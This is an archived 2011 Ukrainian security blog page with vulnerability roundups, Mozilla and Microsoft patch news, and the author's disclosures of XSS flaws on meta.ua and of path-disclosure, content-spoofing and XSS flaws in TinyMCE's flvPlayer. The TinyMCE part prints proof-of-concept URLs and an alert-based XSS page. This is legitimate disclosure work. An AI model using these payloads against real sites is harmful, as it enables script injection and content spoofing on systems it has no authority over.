Архів за Листопад, 2011

Добірка уразливостей

17:20 26.11.2011

В даній добірці уразливості в веб додатках:

  • Cisco Small Business SRP500 Series Command Injection Vulnerability (деталі)
  • Apache Struts 2 Multiple Reflected XSS in XWork error pages (деталі)
  • XSRF (CSRF) in Webmatic (деталі)
  • HP TCP/IP Services for OpenVMS Running POP or IMAP, Remote Unauthorized Access (деталі)
  • Various XSS and information disclosure flaws within KeyFax response management system (деталі)
  • HP TCP/IP Services for OpenVMS Running SMTP Server, Remote Denial of Service (DoS) (деталі)
  • Civica Spydus Library Management System (LMS) - Cross-Site Scripting Vulnerability (деталі)
  • SQL injection in Calendarix (деталі)
  • HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code (деталі)
  • Multiple XSS in Calendarix (деталі)

Уразливість на tv.meta.ua

23:51 25.11.2011

У червні, 01.06.2007, як раз коли я розпочав свій проект Місяць багів в Пошукових Системах (де я і про Мету згадував), я знайшов Cross-Site Scripting уразливість на сайті http://tv.meta.ua. Як я вже розповідав, після останнього разу, коли вони відповіли мені дуже несерйозним чином, я більше не сповіщаю Мету про дірки на їхніх сайтах.

Останнього разу стосовно проектів компанії Мета я писав про уразливості на meta.ua та auction.meta.ua.

XSS:

Дана уразливість так досі й висить на сайті, як це було до того, як я знайшов її у червні 2007 року (тобто на протязі всього часу роботи цього сайта). І це є типовим явищем для сайтів Мети, що добре видно з тих багатьох дірок на багатьох сайтах Мети про які я написав раніше і про які ще напишу.

Численні уразливості в Mozilla Firefox, Thunderbird, Seamonkey

22:44 25.11.2011

Виявлені численні уразливості безпеки в Mozilla Firefox, Thunderbird, Seamonkey.

Уразливі продукти: Firefox 3.6, Firefox 8.0, Thunderbird 3.1, Thunderbird 8.0, SeaMonkey 2.3.

Міжсайтовий скриптінг, виконання коду, пошкодження пам’яті, витік інформації.

  • Mozilla Foundation Security Advisory 2011-46 (деталі)
  • Mozilla Foundation Security Advisory 2011-47 (деталі)
  • Mozilla Foundation Security Advisory 2011-48 (деталі)
  • Mozilla Foundation Security Advisory 2011-49 (деталі)
  • Mozilla Foundation Security Advisory 2011-50 (деталі)
  • Mozilla Foundation Security Advisory 2011-51 (деталі)
  • Mozilla Foundation Security Advisory 2011-52 (деталі)

P.S.

Зазначу, що в MFSA 2011-47 Mozilla виправила можливість XSS атак через кодування Shift-JIS, про яку я писав ще в березні 2009 (тоді ж я писав і про кодування EUC-JP, що вони досі не виправили). Тобто моє повідомлення Мозілі та публікацію 03.03.2009 вони проігнорували, а лише через 2,5 роки, 08.11.2011, вони виправили одну з декількох повідомлених мною уразливостей. Що говорить про несерйозність Mozilla.

Забезпечення безпеки веб сервісів через політики

20:16 25.11.2011

В презентації Seamlessly Securing Web Services Using Policies, Mifla Mashood та Gihan Wikramanayake розповідають про забезпечення безпеки веб сервісів. Що пропонується роботи за допомогою політик, зокрема політик стандарту WS-Policy.

Добірка уразливостей

17:27 25.11.2011

В даній добірці уразливості в веб додатках:

  • radvd security update (деталі)
  • XSRF (CSRF) in PHPDug (деталі)
  • Multiple SQL injection vulnerabilities in PHPDug (деталі)
  • Nova vulnerability (деталі)
  • Multiple XSS vulnerabilities in PHPDug (деталі)
  • YaTFTPSvr TFTP Server Directory Traversal Vulnerability (деталі)
  • CSRF (Cross-Site Request Forgery) in VCalendar (деталі)
  • RSA, The Security Division of EMC, announces the release of Hotfix 6 with security updates for RSA Key Manager Appliance 2.7 Service Pack 1 (деталі)
  • XSRF (CSRF) in poMMo (деталі)
  • Multiple XSS (Cross Site Scripting) vulnerabilities in poMMo (деталі)

Уразливості на meta.ua

23:56 24.11.2011

26.10.2007

У травні, 19.05.2007, я знайшов Cross-Site Scripting та Insufficient Anti-automation уразливості на проекті http://meta.ua. Про що найближчим часом сповіщу адміністрацію проекту.

Останнього разу стосовно проектів компанії Мета я писав про уразливості на info.meta.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

24.11.2011

XSS:

POST запит на сторінці http://meta.ua/meta/feedback.asp в полях: Ваше имя, E-mail, Адрес сайта, Телефон для связи, Ваше сообщение.

Insufficient Anti-automation:

http://meta.ua/meta/feedback.asp

Відправка автоматизованих POST запитів на сторінці http://meta.ua/meta/feedback.asp можлива незважаючи на захист з використанням випадкових імен полів. Даний захист обходиться за допомогою використання постійних імен полів (ті ж самі імена використовуються для багаторазової відправки запитів).

Дані уразливості були проігноровані й не виправлені (причому відповіли мені дуже несерйозним чином, після чого я більше не сповіщаю Мету про дірки на їхніх сайтах). І лише зараз дані XSS уразливості вже виправлені, причому вони розбили форму зворотнього зв’язку на три (що вибираються вказанням параметра mode), а також зробили ще окрему форму з капчею. При цьому IAA уразливість в цій формі досі не виправлена.

Вийшов Mozilla Firefox 8

22:47 24.11.2011

В листопаді, 08.11.2011, вийшов Mozilla Firefox 8. Нова версія браузера вийшла через півтора місяця після виходу Firefox 7 та 7.0.1.

Mozilla офіційно представила реліз веб браузера Firefox 8.0. Це перший випуск у рамках нового скороченого циклу розробки, якому буде присвоєний статус реліза з продовженим терміном підтримки, що має на увазі випуск оновлень з виправленням проблем безпеки протягом 10 місяців. 17 листопада користувачам гілки Firefox 3.6.x було запропоновано провести оновлення до Firefox 8.0 у зв’язку зі швидким припиненням підтримки Firefox 3.6 (випуск оновлень планується припинити через 12 тижнів).

Випуск Firefox 9 очікується через 6 тижнів, наприкінці грудня, а Firefox 10 вийде на початку лютого. Крім того, також були випущені Firefox 3.6.24, Firefox 8 for Android, Seamonkey 2.5 і Thunderbird 8.0.

  • Релиз Firefox 8, Thunderbird 8 и сопутствующих проектов Mozilla (деталі)

Листопадовий вівторок патчів від Microsoft

20:17 24.11.2011

У листопаді місяці Microsoft випустила 4 патчі. Що менше ніж у жовтні.

У листопадовому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло 4 бюлетені по безпеці. Що закривають 4 уразливості в програмних продуктах компанії. З них один патч закриває критичну уразливість, два патчі - важливі уразливості та один патч - помірну уразливість.

Дані патчі стосуються всіх поточних операційних систем компанії Microsoft - Windows XP, 2003, Vista, 2008, 7 та 2008 R2. Серед додатків, що постачаються з Windows, зокрема вразливі Windows Mail і Meeting.

Добірка уразливостей

17:26 24.11.2011

В даній добірці уразливості в веб додатках:

  • Cisco Unified Contact Center Express Directory Traversal Vulnerability (деталі)
  • XSS in CLASSIFIED ADS (деталі)
  • Path disclousure in MEGA PORTAL (деталі)
  • Cisco Unified Communications Manager Directory Traversal Vulnerability (деталі)
  • otrs2 security update (деталі)
  • Disclosure of sensitive information in D-Link DIR-300 Router (деталі)
  • Multiple XSS and Authentication flaws within BMC Remedy Knowledge Management (деталі)
  • XSS in PHP Directory Listing Script (деталі)
  • Arbitrary file reading and arbitrary code execution in Router Manager for D-Link DIR-300 (деталі)
  • XSS in AJAX Calendar (деталі)

Численні уразливості в TinyMCE та flvPlayer

23:52 23.11.2011

17.10.2011

Нещодавно, 15.10.2011, я знайшов численні уразливості в TinyMCE - популярному візуальному редакторі, та flvPlayer (що входить в поставку TinyMCE). Це Full path disclosure, Content Spoofing та Cross-Site Scripting уразливості. Про що найближчим часом повідомлю розробникам.

Раніше я вже писав про виконання коду в TinyBrowser, коли через даний компонент TinyMCE можна було провести Code Execution атаку. А цього разу я знайшов нові дірки в TinyMCE.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам веб додатку.

23.11.2011

Full path disclosure:

Уразливості в TinyMCE в плагіні spellchecker.

http://site/path/tinymce/plugins/spellchecker/classes/EnchantSpell.php

http://site/path/tinymce/plugins/spellchecker/classes/GoogleSpell.php

http://site/path/tinymce/plugins/spellchecker/classes/PSpell.php

http://site/path/tinymce/plugins/spellchecker/classes/PSpellShell.php

Content Spoofing:

flv_player.swf - це flvPlayer v1.0b, що входить в TinyMCE.

Для WordPress:
http://site/wp-includes/js/tinymce/plugins/media/img/flv_player.swf

Для Simple:Press Forum: http://site/wp-content/plugins/
simple-forum/editors/tinymce/plugins/img/media/flv_player.swf

Для RoundCube:
http://site/program/js/tiny_mce/plugins/media/img/flv_player.swf

Можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті.

http://site/flv_player.swf?flvToPlay=http://site2/1.flv
http://site/flv_player.swf?autoStart=false&startImage=http://site2/1.jpg
http://site/flv_player.swf?flvToPlay=http://site2/1.flv&autoStart=false&startImage=http://site2/1.jpg
http://site/flv_player.swf?flvToPlay=http://site2/1.xml

Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті (параметри thumbnail та url в xml-файлі приймають довільні адреси).

Файл 1.xml:

<?xml version="1.0" encoding="UTF-8"?>
<playlist>
	<item name="Content Spoofing" thumbnail="1.jpg" url="1.flv"/>
	<item name="Content Spoofing" thumbnail="2.jpg" url="2.flv"/>
</playlist>

XSS:

<html>
<body>
<script>
function flvStart() {
	alert('XSS');
}
function flvEnd() {
	alert('XSS');
}
</script>
<object width="50%" height="50%">
<param name=movie value="flv_player.swf?flvToPlay=1.flv&jsCallback=true">
<param name=quality value=high>
<embed src="flv_player.swf?flvToPlay=1.flv&jsCallback=true" width="50%" height="50%" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash"></embed>
</object>
</body>
</html>

Якщо на сайті на сторінці з flv_player.swf (з параметром jsCallback=true, або якщо є можливість вказати цей параметр для flv_player.swf) є можливість включити JS код з функцією flvStart() і/або flvEnd() (через HTML Injection), то можна провести XSS атаку. Тобто JS-калбеки можна використати для XSS атаки.

Починаючи з TinyMCE 3.4b2, в поставку входить moxieplayer.swf.

Content Spoofing:

http://site/path/moxieplayer.swf?url=http://site2/1.flv

Можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті.

Уразливі всі версії TinyMCE, що містять вищеназвані файли. Уразливі до CS та XSS всі версії flvPlayer (flvPlayer v1.0b). А також всі веб додатки, які використовують дані версії TinyMCE та flvPlayer, а це сотні веб додатків та десятки мільйонів сайтів в Інтернеті. Сайтів лише на одному WordPress, за даними wordpress.com, на даний час налічує більше 67 мільйонів, біля половини з яких розміщується на блог-хостінгу wordpress.com.

Зокрема вразливі наступні веб додатки: WordPress 2.6 - 3.1.1 (що я перевірив, а потенційно WP 2.5 - 3.2.1) до FPD. До Content Spoofing вразливі версії з файлом flv_player.swf (в плагіні media в TinyMCE), що є в WP 2.6 - 3.0.1 (що я перевірив, а потенційно WP 2.5 - 3.0.5). Simple:Press Forum 4.4.5 та попередні версії. RoundCube 0.6 та попередні версії (перевірялося в 0.4-beta та 0.6) до СS і XSS. В останній версії RoundCube 0.6 використовує moxieplayer.swf (замість flv_player.swf). Та багато інших веб додатків.